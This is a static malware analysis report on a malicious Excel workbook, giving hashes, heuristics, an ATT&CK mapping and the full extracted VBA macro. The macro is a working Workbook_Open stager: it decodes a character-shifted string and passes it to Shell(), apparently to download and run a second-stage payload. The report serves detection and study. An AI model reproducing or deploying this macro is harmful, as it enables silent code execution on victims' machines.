Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 30435bcd2b24a5c8…

MALICIOUS

Office (OOXML)

13.0 KB Created: 2020-03-09 23:42:44 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-07-24
MD5: 354c0f7c3c824b699a310afdd96a7a29 SHA-1: fa793095849751aebeb4d631ac8eef6ecec27b22 SHA-256: 30435bcd2b24a5c8b3bdefefd2fc0c76944d5445e6a6215951130350e3ea9b67
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Office document containing a Workbook_Open macro that utilizes the Shell() function. The command executed by Shell() is heavily obfuscated using character-shifting functions like Mid(), Asc(), and Chr(), making its exact nature difficult to determine without dynamic analysis. This obfuscated command likely downloads and executes a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3329 bytes
SHA-256: 038cb41c46676780341e3d0b74147e929ba8ddba0a575a346862ea4681ef24b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Workbook_Open()
Dim VEytGHOToXEHXOBasBTUHlRHvfIyOUhYtrbpeRwBMzLMWknUhBXzkoG As String
VEytGHOToXEHXOBasBTUHlRHvfIyOUhYtrbpeRwBMzLMWknUhBXzkoG = EnLxvUQFoLfNfHLwbamddZZlgsIlhRhJFlrXnoABvtWWMWIhVFvuSgx("‘�A”…˜’’˜†ˆ’††˜’…’˜”…’˜A˜†“A”…˜’’˜†ˆ’††˜’…’˜”…’˜A”‰†��O†™†AN†™†„–A”…˜’’˜†ˆ’††˜’…’˜”…’˜A•Š��‘��Š„šAƒš‘‚””AA”…˜’’˜†ˆ’††˜’…’˜”…’˜ANxAiŠ……†�AN„�A”…˜’’˜†ˆ’††˜’…’˜”…’˜AŽŽ‚�…AI�†˜N�ƒ‹†„•Atš”•†ŽOo†•Ox†ƒd�Š†�•JOe�˜���‚…gŠ�†IH‰••‘[PP‘�”’Š•O�†•PuzPWRQTYZXO‹‘ˆHME†�—[u†Ž‘LH}�†A”…˜’’˜†ˆ’††˜’…’˜”…’˜A˜‡ŠA”…˜’’˜†ˆ’††˜’…’˜”…’˜A�†Of™†HJ\Io†˜Npƒ‹†„•AN„A”…˜’’˜†ˆ’††˜’…’˜”…’˜A�ŽAt‰†��OA”…˜’’˜†ˆ’††˜’…’˜”…’˜Ab‘‘�Š„‚•Š��JOt‰†��f™†„–•†IE†�—[u†A”…˜’’˜†ˆ’††˜’…’˜”…’˜AŽ‘LH}�†˜‡A”…˜’’˜†ˆ’††˜’…’˜”…’˜AŠ�†Of™†HJ")
VEytGHOToXEHXOBasBTUHlRHvfIyOUhYtrbpeRwBMzLMWknUhBXzkoG = Replace(VEytGHOToXEHXOBasBTUHlRHvfIyOUhYtrbpeRwBMzLMWknUhBXzkoG, EnLxvUQFoLfNfHLwbamddZZlgsIlhRhJFlrXnoABvtWWMWIhVFvuSgx("A”…˜’’˜†ˆ’††˜’…’˜”…’˜A"), "")
Shell (VEytGHOToXEHXOBasBTUHlRHvfIyOUhYtrbpeRwBMzLMWknUhBXzkoG)
End Sub
    Public Function EnLxvUQFoLfNfHLwbamddZZlgsIlhRhJFlrXnoABvtWWMWIhVFvuSgx(fNumDLzssdqIOQJdIZkCjCDYJkbPcWHMunLJsBRqvWzsrOORhwIphyO As String)
        Dim YyTNyvhjdEUSBLUOifJvZPKLkDSrTgFrZsfBXfzKzYURrhGBMTpByQc As Integer, cJWdTFkPqrzjaZAkGIuHhYgCPqJDfNmeQZjArtxFgHdWMAIMhhChIrC As Integer
       YyTNyvhjdEUSBLUOifJvZPKLkDSrTgFrZsfBXfzKzYURrhGBMTpByQc = 33
        For cJWdTFkPqrzjaZAkGIuHhYgCPqJDfNmeQZjArtxFgHdWMAIMhhChIrC = 1 To Len(fNumDLzssdqIOQJdIZkCjCDYJkbPcWHMunLJsBRqvWzsrOORhwIphyO)
            Mid(fNumDLzssdqIOQJdIZkCjCDYJkbPcWHMunLJsBRqvWzsrOORhwIphyO, cJWdTFkPqrzjaZAkGIuHhYgCPqJDfNmeQZjArtxFgHdWMAIMhhChIrC, 1) = Chr(Asc(Mid(fNumDLzssdqIOQJdIZkCjCDYJkbPcWHMunLJsBRqvWzsrOORhwIphyO, cJWdTFkPqrzjaZAkGIuHhYgCPqJDfNmeQZjArtxFgHdWMAIMhhChIrC, 1)) - YyTNyvhjdEUSBLUOifJvZPKLkDSrTgFrZsfBXfzKzYURrhGBMTpByQc)
        Next cJWdTFkPqrzjaZAkGIuHhYgCPqJDfNmeQZjArtxFgHdWMAIMhhChIrC
        EnLxvUQFoLfNfHLwbamddZZlgsIlhRhJFlrXnoABvtWWMWIhVFvuSgx = fNumDLzssdqIOQJdIZkCjCDYJkbPcWHMunLJsBRqvWzsrOORhwIphyO
    End Function
    

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: a7f29bb6b361dd3999f8cc7acc12e6c13bf370790cc4c4cf36ac3469e9ff875d

Open this report in the interactive analyzer, or submit your own file for analysis.